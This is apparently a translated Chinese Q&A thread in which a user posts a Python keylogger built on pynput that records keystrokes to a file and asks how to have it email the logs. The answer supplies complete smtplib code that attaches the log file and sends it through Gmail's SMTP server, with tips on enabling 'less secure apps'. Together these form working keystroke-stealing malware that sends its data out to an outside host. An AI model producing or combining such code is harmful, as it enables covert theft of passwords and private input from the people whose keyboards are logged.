我如何在python中创建键盘记录器,以便通过电子邮件向我发送数据?

时间:2018-10-18 00:14:21

标签: python keylogger

如何使我在python中创建的键盘记录程序通过电子邮件向我发送数据?这是我用来制作键盘记录器的代码:

from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + 'key_log.txt'), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')
def on_press(key): 
         logging.info(str(key))
with Listener(on_press=on_press) as listener: 
         listener.join()

1 个答案:

答案 0 :(得分:1)

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'email sender address, probably same as email_send'
email_send = 'your email address @gmail.com'
email_password = 'your email password'
subject = 'Ethical Keylogger'

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'Here is the keylogger.'
msg.attach(MIMEText(body,'plain'))

filename = 'FILE LOCATION' #INSERT FILE LOCATION
attachment = open(filename, 'rb')

part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)


server.sendmail(email_user, email_send, text)
server.quit()

如果您尝试欺骗email_user,则gmail最有可能最终将其阻止,因此请使用与email_send相同的名称。此外,为了使用此功能,您将需要在gmail中启用安全性较低的应用。首次运行后,您的电子邮件将向您发送通知。根据该消息,您可以启用安全性较低的应用。